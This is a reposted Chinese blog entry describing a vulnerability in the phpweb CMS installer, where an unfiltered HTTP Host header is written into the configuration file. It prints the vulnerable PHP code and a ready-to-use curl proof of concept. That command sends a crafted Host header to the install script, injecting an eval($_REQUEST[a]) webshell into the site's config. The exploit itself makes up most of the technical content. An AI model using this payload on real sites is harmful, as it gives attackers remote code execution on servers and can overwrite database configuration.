首页 > Web开发 > 详细

phpweb成品网站最新版(注入、上传、写shell)

时间:2014-05-14 22:39:43      阅读:476      评论:0      收藏:0      [点我收藏+]

注入:
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码

鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
鸡肋2: 有一定安全常识的站长都会删掉 install 目录

虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响

分析:

bubuko.com,布布扣
$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤
 
$filestr = fread(fopen($SysConfigFile, ‘r‘),30000);
$filestr=str_replace(" ","",$filestr);
$filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
$filestr=str_replace("DefaultDbName",$dbname,$filestr);
$filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
$filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
$filestr=str_replace("DefaultsLan","zh_cn",$filestr);
$filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
$filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
 
fwrite(fopen($ConFile,"w"),$filestr,30000);
bubuko.com,布布扣

$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^

poc

curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"

 

phpweb成品网站最新版(注入、上传、写shell),布布扣,bubuko.com

phpweb成品网站最新版(注入、上传、写shell)

原文:http://www.cnblogs.com/58top/p/3728626.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!